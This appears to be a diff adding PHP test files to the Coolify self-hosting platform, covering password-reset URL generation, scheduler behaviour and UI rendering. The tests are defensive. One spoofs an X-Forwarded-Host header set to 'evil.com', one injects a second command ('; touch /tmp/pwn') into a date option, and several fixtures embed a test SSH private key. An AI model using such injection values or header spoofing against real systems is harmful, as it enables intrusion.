['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toStartWith('https://coolify.example.com/')
->toContain('test-token-abc')
->toContain(urlencode($user->email))
->not->toContain('localhost');
});
it('generates reset URL using public IP when no FQDN is configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('65.21.3.91')
->toContain('test-token-abc')
->not->toContain('evil.com');
});
it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
);
Once::flush();
// Simulate a request with a spoofed X-Forwarded-Host header
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toStartWith('https://coolify.example.com/')
->toContain('poisoned-token')
->not->toContain('evil.com');
});
it('is immune to X-Forwarded-Host header poisoning when using IP only', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
);
Once::flush();
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('65.21.3.91')
->toContain('poisoned-token')
->not->toContain('evil.com');
});
it('generates reset URL with bracketed IPv6 when no FQDN is configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('ipv6-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('[2001:db8::1]')
->toContain('ipv6-token')
->toContain(urlencode($user->email));
});
it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
);
Once::flush();
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toContain('[2001:db8::1]')
->toContain('poisoned-token')
->not->toContain('evil.com');
});
it('uses APP_URL fallback when no FQDN or public IPs are configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null]
);
Once::flush();
config(['app.url' => 'http://my-coolify.local']);
$user = User::factory()->create();
$this->withHeaders([
'X-Forwarded-Host' => 'evil.com',
])->get('/');
$notification = new ResetPassword('fallback-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
expect($url)
->toStartWith('http://my-coolify.local/')
->toContain('fallback-token')
->not->toContain('evil.com');
});
it('generates a valid route path in the reset URL', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
Once::flush();
$user = User::factory()->create();
$notification = new ResetPassword('my-token', isTransactionalEmail: false);
$url = callResetUrl($notification, $user);
// Should contain the password reset route path with token and email
expect($url)
->toContain('/reset-password/')
->toContain('my-token')
->toContain(urlencode($user->email));
});
@@ -0,0 +1,113 @@
<?php
use App\Enums\ProxyStatus;
use App\Enums\ProxyTypes;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(function () {
InstanceSettings::query()->create([
'id' => 0,
'is_registration_enabled' => true,
]);
});
$this->user = User::factory()->create([
'name' => 'Test User',
'email' => 'test@example.com',
]);
$this->team = Team::factory()->create([
'show_boarding' => false,
]);
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->privateKey = PrivateKey::create([
'team_id' => $this->team->id,
'name' => 'Test Key',
'description' => 'Test SSH key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
'proxy' => [
'type' => ProxyTypes::TRAEFIK->value,
'status' => ProxyStatus::EXITED->value,
],
]);
$this->destination = StandaloneDocker::query()
->where('server_id', $this->server->id)
->firstOrFail();
$this->project = Project::factory()->create([
'team_id' => $this->team->id,
]);
$this->environment = Environment::factory()->create([
'project_id' => $this->project->id,
]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'status' => 'running',
]);
});
it('renders responsive checkbox classes on the application configuration page', function () {
$response = $this->get(route('project.application.configuration', [
'project_uuid' => $this->project->uuid,
'environment_uuid' => $this->environment->uuid,
'application_uuid' => $this->application->uuid,
]));
$response->assertSuccessful();
$response->assertSee('Use a Build Server?');
$response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);
$response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);
$response->assertSee('flex min-w-0 grow gap-2 break-words', false);
$response->assertSee('shrink-0', false);
$response->assertSee('pt-2 w-full sm:w-96', false);
expect($response->getContent())->not->toContain('min-w-fit');
});
it('renders responsive checkbox classes on the server page', function () {
$response = $this->get(route('server.show', [
'server_uuid' => $this->server->uuid,
]));
$response->assertSuccessful();
$response->assertSee('Use it as a build server?');
$response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);
$response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);
$response->assertSee('flex min-w-0 grow gap-2 break-words', false);
$response->assertSee('shrink-0', false);
$response->assertSee('w-full sm:w-96', false);
expect($response->getContent())->not->toContain('min-w-fit');
});
+50
View File
@@ -0,0 +1,50 @@
<?php
use App\Models\InstanceSettings;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::query()->firstOrCreate(['id' => 0]));
});
it('schedules RegenerateSslCertJob with onOneServer to prevent multi-server double dispatch', function () {
$schedule = app(Schedule::class);
$event = collect($schedule->events())->first(
fn ($e) => str_contains((string) $e->description, 'RegenerateSslCertJob')
);
expect($event)->not->toBeNull();
expect($event->onOneServer)->toBeTrue();
});
it('schedules ssh mux cleanup locally on every scheduler host', function () {
$schedule = app(Schedule::class);
$event = collect($schedule->events())->first(
fn ($e) => (string) $e->description === 'cleanup:ssh-mux'
);
expect($event)->not->toBeNull();
expect($event->onOneServer)->toBeFalse();
expect($event->getSummaryForDisplay())->toBe('cleanup:ssh-mux');
});
it('schedules every production job with onOneServer', function () {
$schedule = app(Schedule::class);
$jobEvents = collect($schedule->events())->filter(
fn ($e) => str_contains((string) $e->description, 'App\\Jobs\\')
);
expect($jobEvents)->not->toBeEmpty();
$jobEvents->each(function ($event) {
expect($event->onOneServer)->toBeTrue(
"Scheduled job [{$event->description}] is missing ->onOneServer()"
);
});
});
@@ -0,0 +1,150 @@
<?php
use App\Jobs\ScheduledJobManager;
use App\Jobs\ScheduledTaskJob;
use App\Models\Application;
use App\Models\Environment;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
it('dispatches scheduled tasks across chunks', function () {
config(['constants.coolify.self_hosted' => true]);
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
Queue::fake();
$team = Team::factory()->create();
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $team->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
'docker_cleanup_frequency' => '0 * * * *',
]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$application = Application::factory()->create([
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'status' => 'running',
]);
ScheduledTask::factory()
->count(101)
->create([
'team_id' => $team->id,
'application_id' => $application->id,
'frequency' => '* * * * *',
'enabled' => true,
]);
(new ScheduledJobManager)->handle();
Queue::assertPushed(ScheduledTaskJob::class, 101);
});
it('skips expensive dispatch for non-due schedules while seeding dedup cache', function () {
config(['constants.coolify.self_hosted' => true]);
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
Queue::fake();
$application = createScheduledTaskApplication();
$task = ScheduledTask::factory()->create([
'team_id' => $application->environment->project->team_id,
'application_id' => $application->id,
'frequency' => '0 2 * * *',
'enabled' => true,
]);
(new ScheduledJobManager)->handle();
Queue::assertNotPushed(ScheduledTaskJob::class);
expect(Cache::get("scheduled-task:{$task->id}"))->not->toBeNull();
});
it('does not query relationships when constructing scheduled task jobs', function () {
$application = createScheduledTaskApplication();
$task = ScheduledTask::factory()->create([
'team_id' => $application->environment->project->team_id,
'application_id' => $application->id,
'frequency' => '* * * * *',
'enabled' => true,
])->fresh();
DB::flushQueryLog();
DB::enableQueryLog();
$job = new ScheduledTaskJob($task);
expect(DB::getQueryLog())->toBeEmpty()
->and($job->queue)->toBe(crons_queue())
->and($job->timeout)->toBe(300);
});
function createScheduledTaskApplication(): Application
{
$team = Team::factory()->create();
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $team->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
'private_key_id' => $privateKey->id,
]);
$server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'force_disabled' => false,
'docker_cleanup_frequency' => '0 * * * *',
]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return Application::factory()->create([
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'status' => 'running',
]);
}
@@ -0,0 +1,35 @@
<?php
use App\Console\Commands\ViewScheduledLogs;
use App\Http\Middleware\CheckForcePasswordReset;
use App\Http\Middleware\DecideWhatToDoWithUser;
use App\Models\InstanceSettings;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Once;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
Once::flush();
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->saveQuietly();
}
});
describe('logs:scheduled --date option', function () {
test('rejects a malformed date and exits before touching the shell', function () {
$this->artisan('logs:scheduled', ['--date' => '2025-01-01; touch /tmp/pwn'])
->expectsOutputToContain('Invalid date format')
->assertExitCode(ViewScheduledLogs::INVALID);
expect(file_exists('/tmp/pwn'))->toBeFalse();
});
test('accepts a well-formed date', function () {
$this->artisan('logs:scheduled', ['--date' => '2025-01-01'])
->assertExitCode(0);
});
});
+66
View File
@@ -0,0 +1,66 @@
<?php
use App\Models\Application;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = $this->project->environments()->first();
});
it('returns null when neither application nor service is set', function () {
$task = ScheduledTask::factory()->create([
'team_id' => $this->team->id,
]);
expect($task->server())->toBeNull();
});
it('does not throw when accessing dynamic properties on a parentless task', function () {
$task = ScheduledTask::factory()->create([
'team_id' => $this->team->id,
]);
expect(fn () => $task->server())->not->toThrow(Exception::class);
});
it('resolves server via application destination', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$task = ScheduledTask::factory()->create([
'application_id' => $application->id,
'team_id' => $this->team->id,
]);
expect($task->server()?->id)->toBe($this->server->id);
});
it('resolves server via service destination', function () {
$service = Service::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$task = ScheduledTask::factory()->create([
'service_id' => $service->id,
'team_id' => $this->team->id,
]);
expect($task->server()?->id)->toBe($this->server->id);
});
Loaded 100 of 766 files, more files were not shown because too many files have changed in this diff. Show more